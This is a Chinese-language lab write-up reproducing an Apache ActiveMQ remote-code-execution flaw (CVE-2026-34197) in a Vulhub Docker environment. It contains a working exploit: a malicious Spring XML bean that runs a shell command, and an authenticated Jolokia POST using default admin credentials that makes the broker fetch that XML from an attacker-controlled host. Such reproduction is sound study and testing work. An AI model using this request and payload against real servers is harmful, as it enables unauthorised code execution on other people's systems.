ActiveMQ(CVE-2026-34197)

RCE漏洞复现分析

1.漏洞原理

CVE-2026-34197是Apache ActiveMQ 5.19.4版本之前以及6.0.0至6.2.3版本之前存在的一个远程代码执行漏洞。通过传入一个精心构造的vm://传输URI,其中包含指向攻击者控制的Spring XML配置文件的brokerConfig参数。当ActiveMQ处理该URI时,会获取并解析远程XML配置,从而触发Spring Bean实例化并执行任意代码。

该漏洞可以与CVE-2024-32114(ActiveMQ 6.0.0至6.1.1版本中Jolokia未授权访问)组合利用实现未授权RCE,也可以在需要API认证的版本上使用默认凭据(admin:admin)进行利用。

2.环境准备

本文使用 Vulhub 中的 CVE-2026-34197 靶场环境进行复现演示。

Vulhub 是一个基于 Docker 的漏洞环境集合,可以通过以下命令下载:

# 下载项目
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
# 解压
unzip vulhub-master.zip
# 进入解压后的目录
cd vulhub-master

进入靶场目录一键拉取靶场,我这边是把vulhub安装到root目录下了,根据实际情况进入到靶场目录:

# 进入靶场目录
cd /root/vulhub/activemq/CVE-2026-34197

通过docker-compose命令一键拉取靶场:

# 拉取靶场
docker-compose up -d

浏览器访问目标主机后,发现要求登录,这里可以结合ActiveMQ本身自带的未授权访问漏洞(CVE-2024-32114)进行攻击。由于CVE-2026-34197是一个认证后的 RCE 漏洞,攻击者可以使用默认凭证 admin:admin 进行攻击。

可以正常访问,环境准备完毕。

3.攻击复现

第一步,准备恶意配置文件

在攻击者控制的机器上启动一个 HTTP 服务器,用于托管一个恶意的 Spring XML 配置文件。以下配置示例会让目标服务器执行命令 id > /tmp/success

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value><![CDATA[id > /tmp/success]]></value>
            </list>
        </constructor-arg>
    </bean>
</beans>

将上述内容保存为 poc.xml 文件,并在同一目录下启动一个 Python HTTP 服务器(端口 80)。

第二步,构造攻击请求

接着,向目标 ActiveMQ 的 Jolokia API 发送一个经过认证的 POST 请求。请求体用于在 Broker MBean 上调用 addNetworkConnector 操作,并传入一个精心构造的发现 URI。这个 URI 会指示 ActiveMQ 通过 Spring 的资源加载机制去获取攻击者服务器上的恶意 XML 文件。

POST /api/jolokia/ HTTP/1.1
Host: 192.168.111.130:8161
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 225
​
{
  "type": "exec",
  "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
  "operation": "addNetworkConnector(java.lang.String)",
  "arguments": ["static:(vm://evil?brokerConfig=xbean:http://192.168.111.1:80/poc.xml)"]
}

第三步,重放攻击请求

打开浏览器代理,确保BP可以正常拦截流量。

打开BP后刷新浏览器,拦截到请求报文。

使用Repeater模块重放事先构造好的攻击请求,目标正常响应

第四步:验证命令执行

最后,通过检查容器内的结果文件来验证命令是否成功执行:

docker compose exec activemq cat /tmp/success

# 查看容器内是否有对应文件
docker compose exec activemq cat /tmp/success

复现完毕,感谢支持。

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐